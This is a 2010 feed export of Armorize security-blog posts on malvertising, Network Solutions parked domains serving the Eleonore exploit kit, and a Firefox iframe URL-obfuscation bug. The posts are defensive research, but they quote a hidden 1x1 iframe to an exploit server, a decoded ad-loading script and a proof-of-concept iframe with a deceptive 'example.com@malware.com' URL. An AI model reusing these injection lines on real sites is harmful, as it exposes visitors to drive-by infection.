src="http://rad.msn.com/ADSAdClient31.dll?GetSAd=&amp;amp;DPJS=4&amp;amp;PN=MSFT&amp;amp;PG=REAB01&amp;amp;AP=1390" onreadystatechange="startTimer();"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here rad.msn.com throws out some obfuscated javascript, which decodes to:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&amp;lt;script type="text/javascript" src="http://this.content.served.by.adshufffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_D7mmLupb1TWfhr91mfhH0/view.js/?sid=23444436&amp;amp;lpd=${REQUESTID}&amp;amp;ASTPCT=${CLICKURL}"&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Which causes the browser to load from adshufffle. The actual 728x90 banner ad, which is again, illegally copied, is http://media.topsann.com/bdb/aBigCommerce/728x90stat.gif:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_hELDi5B8zOI/TQMPoPLV__I/AAAAAAAACJY/I97P0MjcXWw/s1600/728x90stat.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_hELDi5B8zOI/TQMPoPLV__I/AAAAAAAACJY/I97P0MjcXWw/s1600/728x90stat.gif" alt="" id="BLOGGER_PHOTO_ID_5549296349793878002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;And the rest is similar.&lt;br /&gt;&lt;br /&gt;At Armorize we've been developing technologies to detect drive-by downloads starting in the 2000, with our first major publication &lt;a href="http://www.openwaves.net/"&gt;released in 2003&lt;/a&gt; at the WWW Conference. In 2007, we acquired X-Solve to pushed out our drive-by download detection service, HackAlert. Recently, we released a new version of HackAlert--&lt;a href="http://www.armorize.com/index.php?link_id=SafeImpression"&gt;HackAlert SafeImpression&lt;/a&gt;, which is geared towards malvertising detection and ease of use by the online media industry.&lt;br /&gt;If you are interested in any information, please email us at wayne@armorize.com&lt;br /&gt;Part 2 of the story: &lt;a href="http://blog.armorize.com/2010/12/about-hdd-plus-spreading-also-through.html"&gt;About HDD Plus spreading also through OpenX vulnerabilities, and a guy behind all this&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-792164885857785887?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/792164885857785887/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html#comment-form' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/792164885857785887'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/792164885857785887'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html' title='&quot;HDD Plus&quot; malware spread through major ad networks, using malvertising and drive-by download'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_hELDi5B8zOI/TQLgAzik5fI/AAAAAAAACI4/weE2v8WJxu4/s72-c/HDD_PLUS_1.png' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-747008574493500854</id><published>2010-08-18T19:00:00.000-07:00</published><updated>2011-12-04T23:58:56.489-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Hosting attack'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Parked domain numbers and traffic, and more on the exploits served</title><content type='html'>(by Wayne Huang  of Armorize)&lt;br /&gt;We received a number of questions on details of &lt;a href="http://blog.armorize.com/2010/08/more-than-500000-network-solutions.html"&gt;malicious parked domains incident&lt;/a&gt;, so let us give some clarifications on the questioned issues.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The scale and impact of incident.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We strongly believe that the number of potentially impacted users is high. There were some misunderstanding that the widget was serving only to Asian IPs. No, the widget was serving once per IP, to all IPs worldwide.&lt;br /&gt;&lt;br /&gt;We studied two references to external components, which are rendered by browsers when a parked domain page is loaded.  One component is loading a javascript snippet from asiappc.com and is only served to visitors coming from Taiwan or Hong Kong. Another component is loading a widget from a compromised system and is served to any visitor world-wide.&lt;br /&gt;&lt;br /&gt;The first component (asian) includes a reference to a counter. Therefore we are  can observe volume of traffic from asian IP addresses. The second component is loaded from a compromised system and serves malware via injected iframe once per each unique IP address. As of this moment we are not able to obtain any statistics on this component but we can infer and estimate the numbers using other known factors.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The affected platform&lt;/b&gt;&lt;br /&gt;We briefly covered it in our &lt;a href="http://blog.armorize.com/2010/08/smci-widget-by-network-solutions-still.html"&gt;part 1 post&lt;/a&gt;, the widget directs the browser to load content from the following exploit server:&lt;br /&gt;&lt;pre class="brush: js;"&gt;...omitted...&lt;br /&gt;&amp;lt;iframe frameborder=0 src="http://96.30.16.216:8037/exemple.com/" width=1 height=1 scrolling=no&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This URL is still active right now, and is serving &lt;a href="http://krebsonsecurity.com/2010/01/a-peek-inside-the-eleonore-browser-exploit-kit/"&gt;Eleonore&lt;/a&gt; version 1.3.1:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_hELDi5B8zOI/TGzNIFJopgI/AAAAAAAACHo/DDtQvNMeK1w/s1600/eleonore_748.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_hELDi5B8zOI/TGzNIFJopgI/AAAAAAAACHo/DDtQvNMeK1w/s1600/eleonore_748.png" alt="" id="BLOGGER_PHOTO_ID_5507001983072511490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Eleonore exploit pack (a bundle of exploits with some programmatic logic behind), as most browser exploit packs, tries to serve the "right" exploits to corresponding browsers. This particular version of the bundle targets vulnerabilities in following software: Adobe Reader,  Java(cross-browsers), Internet Explorer, Firefox, and Opera. Below is the of included exploits (we'll update the post later to add hyperlinks for the above; sorry for now):&lt;br /&gt;&lt;br /&gt;MDAC&lt;br /&gt;MS009-02&lt;br /&gt;ActiveX pack&lt;br /&gt;CompareTo&lt;br /&gt;JNO (JS navigator Object Code)&lt;br /&gt;MS06-006&lt;br /&gt;Font tags&lt;br /&gt;Telnet&lt;br /&gt;PDF collab.getIcon&lt;br /&gt;PDF Util.Printf&lt;br /&gt;PDF collab.collectEmailInfo&lt;br /&gt;Java D&amp;amp;E&lt;br /&gt;Soc pack (iframe ver)&lt;br /&gt;&lt;br /&gt;Average infection rates are: 5-17% on North American traffic, and 10-25% on .ru traffic.&lt;br /&gt;&lt;br /&gt;Now, the detailed explanation on number of domains and the impact:&lt;br /&gt;&lt;br /&gt;The number of visits to these parked domains and actual traffic volume touches a sensitive topic--parked domain monetization. According to &lt;a href="http://en.wikipedia.org/wiki/Domain_parking"&gt;Wikipedia's definitions&lt;/a&gt;, "Domain parking may also refer to an advertising practice known as parked domain monetization,[1] used primarily by domain name registrars and Internet advertising publishers to monetize type-in traffic visiting a parked or minimally developed domain name.."&lt;br /&gt;&lt;br /&gt;How much traffic, and hence money, does this strategy brings? Reference [1] in the above Wikipedia page pointed to &lt;a href="http://icannwiki.org/index.php/Parked_Domain_Monetization"&gt;ICANNWiki's "Domain Parking" definition&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;quote:&lt;br /&gt;"&lt;br /&gt;According to a November 17, 2005 Wall Street Journal article, "revenue from text ads on these sites will total $400 million to $600 million world-wide this year and may reach $1 billion by 2007, according to Susquehanna Financial Group analysts Marianne Wolk and Roxane Previty, who track the online ad industry."&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;How many visitors do we need in order to generate this type of revenue from per-click ads? &lt;b&gt;A lot.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The refered WJS article &lt;a href="http://online.wsj.com/public/article/SB113200310765396752-FYV6dsilRS0N1fsiVu_bLf_5nI8_20061116.html?mod=rss_free"&gt;is available here&lt;/a&gt;. There are also other similar market reports. Another interesting number is mentioned here:  &lt;a href="http://www.circleid.com/posts/the_parked_domain_monetization_business/"&gt;CircleID&lt;/a&gt;: "According to Ram Mohan from Afilias, 3 of the big 5 registrars say that they make over $5m-$8m / year from parked domain monetization pages."&lt;br /&gt;&lt;br /&gt;You can also find random forum posts by PPC "businessmen" who generate their revenue through parked domain services:&lt;a href="http://www.namepros.com/parking-and-traffic-monetization/661709-parked-domain-2000-page-impressions-per.html"&gt;register three digit impressions&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Nevertheless, it's long been a debate (for example &lt;a href="http://www.circleid.com/posts/parked_domains_google_adnonsense/"&gt;here&lt;/a&gt;) on the legality of such business, or whether search engines should index parked domains, and if so, how many pages per parked domain should be indexed. In our last post, we provided this link, which showed that &lt;a href="http://search.yahoo.com/search;_ylt=?p=%22this+page+is+under+construction%22+%22Service+Agreement%22+%22Trademark+Free+Zone%22&amp;amp;fr2=sb-top&amp;amp;fr=yfp-t-701"&gt;Yahoo Search&lt;/a&gt; indexes more than 5 million Network Solutions parked domains. Now, only after a few days, clicking on the same page shows only 6 results. If we enter the same search phrases &lt;a href="http://www.bing.com/search?q=%22this+page+is+under+construction%22+%22Service+Agreement%22+%22Trademark+Free+Zone%22&amp;amp;go=&amp;amp;form=QBLH&amp;amp;filt=all"&gt;into Bing&lt;/a&gt;, it's the same--6 results.&lt;br /&gt;&lt;br /&gt;If we want to fight parked domain monetization (do we? should we?), not indexing these pages is definitely a good effort on the part of the search engines.&lt;br /&gt;&lt;br /&gt;But the question remains--so what's the number??&lt;br /&gt;&lt;br /&gt;We can use the following calculation approach:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Submit key terms to search engines to make the search engines dump out (only) the parked domains in the search results.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Sequentially click and analyze the returned URLs.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In our brief experiment, we identified more than a hundred parked domains, and with only 3 of the domains not serving malicious widget at the time of our initial report.&lt;br /&gt;&lt;br /&gt;To validate, let's assume that there is only 1,000,000 of parked domains. And then let's assume that out of them only 120,000 were infected. Then the probability for us to click on an arbitrary search result and hit an infected page, would be 120,000 * 100 / 1,000,000 = 12%. This certainly wasn't the case as seen in the video we posted earlier.&lt;br /&gt;&lt;br /&gt;Another approach:&lt;br /&gt;The script served by asiappc.com on the default parking page is served only to visitors with IPs located in two geographic regions--Taiwan, and Hong Kong. That script pulls in a public Web analytics service--&lt;a href="http://www.51.la/report/1_main.asp?id=3542139"&gt;51.la&lt;/a&gt;. The account used does not require a password to view statistics. This analytics account was registered on Feb 5th of this year, and although it is serving to (and therefor recording) only IPs coming from Taiwan and Hong Kong, it still shows a number of 1187301 unique IP visits in total, with only 5316  visits today. This sheds light into just how much traffic the default parking page might be generating in total.&lt;br /&gt;&lt;br /&gt;Let us illustrate this with a few screenshots. First screenshot shows that most visitors come from either Taiwan or Hong Kong. One of the server-sides scripts is responsible for determining this, and it of courses uses a different GeoIP database than the one used by the analytics service, and that's why you see that there are still 11% coming from the US--these 11% of IPs are believed to come from either Taiwan or China by the server-side script, but the analytics service believes they come from the US:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_hELDi5B8zOI/TGypT2eXH3I/AAAAAAAACHQ/ALX5cbqEI8Y/s1600/traffic2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://1.bp.blogspot.com/_hELDi5B8zOI/TGypT2eXH3I/AAAAAAAACHQ/ALX5cbqEI8Y/s1600/traffic2.png" alt="" id="BLOGGER_PHOTO_ID_5506962602872741746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;So, how many average page views per day? Let's look at the web analytics again. Note that this script is included in many other hosting companies' default parking pages:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TGy4XTgatiI/AAAAAAAACHY/4tirUtUDS6s/s1600/google_network_solutions_malware_parked_domains_51la2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TGy4XTgatiI/AAAAAAAACHY/4tirUtUDS6s/s1600/google_network_solutions_malware_parked_domains_51la2.png" alt="" id="BLOGGER_PHOTO_ID_5506979154880017954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;According to the analytics, there is an average number of 14,073 page views per day.&lt;br /&gt;According to InternetWorldStats.com, Taiwan and Hong Kong &lt;a href="http://www.internetworldstats.com/stats3.htm#asia"&gt;contributes to 2% and 0.6% &lt;/a&gt;of Asia's Internet population (China is 50.9%), respectively. Together they make 2.6% of Asia's traffic. Since &lt;a href="http://www.internetworldstats.com/stats.htm"&gt;Asia makes up 42% of the Internet population&lt;/a&gt;, Taiwan plus Hong Kong traffic make up 2.6% * 42% = 1.1% of all traffic to all the parking pages that include this particular script.&lt;br /&gt;&lt;br /&gt;So 14,073 daily page views / 1.1% = 1,279,363 page views per day--over one million potential daily "parking" page views. Even if Network Solutions contribute to only 1/10th of the parking domains traffic, this is still 127,936 page views per day, that was served with malware, for a long period of time.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What's interesting here, is the fact that what seems to be very little traffic per domain, actually accumulates to a significant volume.&lt;/b&gt; If we take a look at the referer rankings, only the top 2 referers (parking pages) had three digit daily page views!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TGzBHZ6aiLI/AAAAAAAACHg/No4KRmURMJI/s1600/traffic4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TGzBHZ6aiLI/AAAAAAAACHg/No4KRmURMJI/s1600/traffic4.png" alt="" id="BLOGGER_PHOTO_ID_5506988777326414002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Furthermore, this is the total number of accumulative page views that was served with malware. Slashdot user noc007 &lt;a href="http://news.slashdot.org/story/10/08/16/214228/5-Million-Domains-Serving-Malware-Via-Network-Solutions"&gt;commented about our research&lt;/a&gt; comments:&lt;br /&gt;===============&lt;br /&gt;"I thought this was a known fact Network Solutions' parked pages served malware in one form or another. Back in July of last year I got some questions from an executive why the domain the company recently registered for was being blocked by the corporate web content filter. Turns out the Network Solutions parked page had an iframe that was serving malware from kolmic.com. I explained it and provided the parked page's html code with the offending code highlighted.&lt;br /&gt;&lt;br /&gt;Doing some Google searches showed that I wasn't the only one that had noticed this."&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;Followed by The-Blue_Clown:&lt;br /&gt;===============&lt;br /&gt;"I had the same exact experience. The only issue was I had an exec that wasn't going to be pushed around by the IT guys. She ordered the filter relaxed. I only got my way when i told her i needed all such requests in writing as she was assuming the known risk i had just finished explaining to her."&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;We also mentioned similar incidents &lt;a href="http://blog.armorize.com/2010/05/beware-of-boingboingcom-malware.html"&gt;in the past&lt;/a&gt;. In fact, we've seen the same infected widget on a parked domain back in May--we simply did not realize it was on all default parked pages.&lt;br /&gt;&lt;br /&gt;The key difference from typical injection attacks that we've seen in the past, such as the recent &lt;a href="http://www.blogger.com/=%22http://www.theregister.co.uk/2010/08/17/apple_sql_attack/%22"&gt; Apple.com hit by mass SQK injection incident&lt;/a&gt; is that such injections are usually cleaned up very quickly.&lt;br /&gt;&lt;br /&gt;For large websites, sometimes within a day.&lt;br /&gt;&lt;br /&gt;In contrast to that, a persistent injection against a widget or an online ad script on "parked domains"--domains which all together can add up to more than a million page views per day--went unnoticed for for months.&lt;br /&gt;&lt;br /&gt;So to conclude, this time we've learned:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;1. Parked domains do draw significant traffic, and that's why there's the &lt;a href="http://en.wikipedia.org/wiki/Domain_parking"&gt;parked domain monetization business&lt;/a&gt;.&lt;br /&gt;2. Since there's traffic, criminals will try to infect parked domains.&lt;br /&gt;3. In this case study, although only two parked domains had three digit daily page views, the daily page view can be over one million. This is due to the sheer large number of parked domains.&lt;br /&gt;4. Compared to another vector for mass spreading drive-by downloads--mass SQL injections, infecting parked domains can result in longer lifespan of the infection, and hence potentially larger accumulative traffic, and hence a potentially larger number of vinctims.&lt;br /&gt;5. Compared with infecting high traffic domains, mass infecting a large number of parked domains may yield comparable or even better accumulative page views. The infection may have a longer life span.&lt;br /&gt;6. Compared to mass SQL injections, compromising a hosting platform allows for much better control of when and what to serve, or not to serve. With a webshell, the attacker can decide to activate serving of malware any time, and also deactivate any time.&lt;br /&gt;*. We note that infecting parked domains can be done via compromising hosting systems or widgets (like this case study), or via malvertising.&lt;br /&gt;&lt;br /&gt;An interesting question is: if all parked domains together generate as much traffic as a major website, then which infection will live longer? When you visit a major website and your (good) antivirus alerts you of malware, you tend to want to look into it and perhaps also report it. That's why large websites rarely get away with the public knowing about their infections.&lt;br /&gt;&lt;br /&gt;When you visit a parked domain and your antivirus alerts you, would you bother reporting it?&lt;br /&gt;&lt;br /&gt;Regardless of the answer, the widget had significant traffic, and it was there serving Eleonore at least since may. That's what we learned this time.&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Infections to high traffic domains may generate big news, but it may not be the primary contributor of botnet growth. With respect to drive-by downloads spreading malware, persistent growth of botnets come from the millions of infected pages on the Internet. &lt;b&gt;The challenge lies in how to infect these pages, how to keep them infected, and how to keep security vendors from finding out.&lt;/b&gt; Once security vendors find out, patterns are added, antivirus alerts, infection rates drop, the infected domains are fixed, the exploit serving domains are taken down, and the means to spread malware ends. Mass SQL injections and attacks against high traffic domains, though can infect a large number of visitors initially, have a short tail because such efforts are likely to be spotted very quickly.&lt;br /&gt;&lt;br /&gt;Infecting parking domains, as in this case study, provided the attackers with a means to still just use a single infection vector to infect a large number of domains, while at the same time, keep the public's attention low enough so the infection can have a very long life span, and hence high accumulative page views, and hence a large number of infections.&lt;br /&gt;&lt;br /&gt;Every day, HackAlert continues to generate plenty of records of infected URLs, and we do look into those infected URLs whose Alexa scores are high. But our domain correction mechanism apparently isn't sophisticated enough to automatically alert us of a potential hosting provider compromise. That's why this time, our findings came from a manual investigation effort, which was initiated because we were strongly questioned by one of our clients on why we were flagging some parked pages. We should start to improve this.&lt;br /&gt;&lt;br /&gt;Finally, based on the scope of this incident and the surrounding incidence response efforts, we were impressed with Network Solutions speed and honesty. We sent Shashi, their Blogger Relations Manager, a tweet, to which is responded very quickly. Later, by reading his tweets, we realized that he was on vacation (and it was on a weekend). He was on phone with us shortly, and a couple of hours later the widget was disabled. They made no attempt to hide the fact, and published a blog timely. Although we disagree on the number of infected domains, we felt they handled this particular incidence very well.&lt;br /&gt;&lt;br /&gt;The beginning of year saw attacks increasing targeted at hosting companies; many of which fell prey and as a result, multiple hosted websites / blogs served malware for a period of time. Drive-by downloads can be massively spread via mass SQL injections, hosting platform compromises, widget infections, parked domain mass infections, LAN man-in-the-middle, and &lt;a href="http://tools.cisco.com/security/center/viewAlert.x?alertId=17778"&gt;WAN man-in-the-middle&lt;/a&gt;. From our observation, the number of attempts to mass-spread drive-by downloads continues to rise. Web owners and hosting providers should be alerted, and also realize that a great deal can be learnt from past incidents.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-747008574493500854?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/747008574493500854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2010/08/parked-domain-numbers-and-traffic-and.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/747008574493500854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/747008574493500854'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2010/08/parked-domain-numbers-and-traffic-and.html' title='Parked domain numbers and traffic, and more on the exploits served'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_hELDi5B8zOI/TGzNIFJopgI/AAAAAAAACHo/DDtQvNMeK1w/s72-c/eleonore_748.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-8167531037480323847</id><published>2010-08-16T20:39:00.000-07:00</published><updated>2010-08-18T19:32:01.885-07:00</updated><title type='text'>IFrames and URL Stringency - Mozilla Firefox Bug</title><content type='html'>Updated: A relative POC is released &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.secniche.org/videos/mozilla_bug_570658.html"&gt;HERE&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The inline frames play a crucial part in sharing and delivering third party content through them. But this is also a hardened fact that Iframes are used effectively by malware writers to spread infection across domains in a hidden manner. But the question is , Do browsers play significant role in this?&lt;br /&gt;&lt;br /&gt;The URL obfuscation is a big stringency in the online world. Actually, it tests the browser efficiency to dissect the behavior of crafted URL. That has to be done. The browsers have shown a rogue behavior in determining the source and destination of URL's when it is obfuscated or fused with meta characters. This is dangerous from a user perspective because a victim can go to undesired destination. Well, lot of changes have been noticed in browser development with respect to that but in certain conditions , browsers still fail to find the authentic nature of URL's being rendered in the browser. A Google Chrome URL Obfuscation Vulnerability can be seen &lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.org/gcuri.html"&gt;HERE&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Further, a recent bug has been posed to &lt;span style="font-weight:bold;"&gt;&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=570658"&gt;BugZilla ID - 570658&lt;/a&gt;&lt;/span&gt; regarding the behavior of IFrames and Frames handling the URL obfuscation. Firefox implements a notification alert to user when a obfuscated URL is used in the address bar as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/TGoI0atX7gI/AAAAAAAAAxE/LmbED0onipU/s1600/iframe_ff_check.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 95px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/TGoI0atX7gI/AAAAAAAAAxE/LmbED0onipU/s400/iframe_ff_check.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5506223191029706242" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On performing analysis of various malware, a bug has been noticed in all version of Firefox which fails to generate an alert when obfuscated URL is being placed in Iframes. In certain cases, it can be used effectively in spreading malware and stealing sensitive information. While discussions on BugZilla, it is noticed that Firefox behavior is completely different in these two scenarios which should not happen.  The bug is in open state now. The major improvements can be seen in the following trunk&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://mxr.mozilla.org/mozilla-central/source/netwerk/protocol/http/nsHttpChannel.cpp#3891"&gt;nsHttpChannel::ConfirmAuth()&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A generic POC can be considered as&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;[iframe src="http://www.example.com@malware.com" width="600" height="600" /];&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;May be it is considered as a fact that frames are not shown directly but this is a bug by behavior. We can expect some changes in coming time regarding this falsified behavior.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-8167531037480323847?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/8167531037480323847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2010/08/iframes-and-url-stringency-mozilla.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/8167531037480323847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/8167531037480323847'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2010/08/iframes-and-url-stringency-mozilla.html' title='IFrames and URL Stringency - Mozilla Firefox Bug'/><author><name>SecNiche Security Labs</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/TGoI0atX7gI/AAAAAAAAAxE/LmbED0onipU/s72-c/iframe_ff_check.jpg' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-3422463802744832249</id><published>2010-08-14T11:51:00.000-07:00</published><updated>2011-12-04T23:58:07.067-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Hosting attack'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>More than 500,000 (or 5,000,000 according to Yahoo) Network Solutions parked domains actively serving malware</title><content type='html'>(by Wayne Huang, Chris Hsiao,  NightCola,  and other Armorize colleagues)&lt;br /&gt;(see &lt;a href="http://blog.armorize.com/2010/08/smci-widget-by-network-solutions-still.html"&gt;Part 1&lt;/a&gt; here)&lt;br /&gt;(please see our &lt;a href="http://blog.armorize.com/2010/08/parked-domain-numbers-and-traffic-and.html"&gt;follow-up post&lt;/a&gt; if you have time)&lt;br /&gt;&lt;br /&gt;A few days ago, in response to questions by one of our largest customers, we analyzed a widget by Network Solutions, confirmed that it was infected, and published the last blog "&lt;a href="http://blog.armorize.com/2010/08/smci-widget-by-network-solutions-still.html"&gt;SMCI widget and growsmartbusiness.com by Network Solutions still serving malware&lt;/a&gt;."&lt;br /&gt;&lt;br /&gt;It was actually a report that we wrote for this customer, to assure them that although other detection mechanisms aren't flagging, that we are rightfully flagging these pages as malicious.&lt;br /&gt;&lt;br /&gt;Soon after publishing the blog, we realized that it was the same widget that got the boingboing.com parked domain infected, which we &lt;a href="http://blog.armorize.com/2010/05/beware-of-boingboingcom-malware.html"&gt;blogged about&lt;/a&gt; back in May.&lt;br /&gt;&lt;br /&gt;Yesterday I had some time to sit down and study this widget further, and discovered something critical--it's a part of the standard domain parking page of Network Solutions.&lt;br /&gt;&lt;br /&gt;And so, just how many &lt;b&gt;domains&lt;/b&gt; (not pages) are currently affected and serving malware?&lt;br /&gt;&lt;br /&gt;&lt;b&gt;More than 500,000 domains, &lt;a href="http://www.google.com/#q=%22this+page+is+under+construction%22+%22how+to+get+online%22&amp;amp;hl=en&amp;amp;filter=0&amp;amp;fp=8631cdd35a4d476d"&gt;according to Google&lt;/a&gt;:&lt;/b&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TGbpd43kWsI/AAAAAAAACFs/6VQHSLldkwo/s1600/google_network_solutions_malware_parked_domains2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TGbpd43kWsI/AAAAAAAACFs/6VQHSLldkwo/s1600/google_network_solutions_malware_parked_domains2.png" alt="" id="BLOGGER_PHOTO_ID_5505344294197942978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://search.yahoo.com/search;_ylt=A0oGdHFKa2dMN48A18JXNyoA;_ylc=X1MDMjc2NjY3OQRfcgMyBGFvAzAEZnIDeWZwLXQtNzAxBGhvc3RwdmlkA1Z1SWNUa29HZEl4N2pYWWJUR0N2YlFSVGdQRmJKMHhuYTBvQUR6Zy4Ebl9ncHMDMARuX3ZwcwMwBG9yaWdpbgNzcnAEcXVlcnkDInRoaXMgcGFnZSBpcyB1bmRlciBjb25zdHJ1Y3Rpb24iICJTZXJ2aWNlIEFncmVlbWVudCIgIlRyYWRlbWFyayBGcmVlIFpvbmUiBHNhbwMxBHZ0ZXN0aWQDSDQ2NQ--?p=%22this+page+is+under+construction%22+%22Service+Agreement%22+%22Trademark+Free+Zone%22&amp;amp;fr2=sb-top&amp;amp;fr=yfp-t-701"&gt;According to Yahoo&lt;/a&gt;, add a zero to that, at least 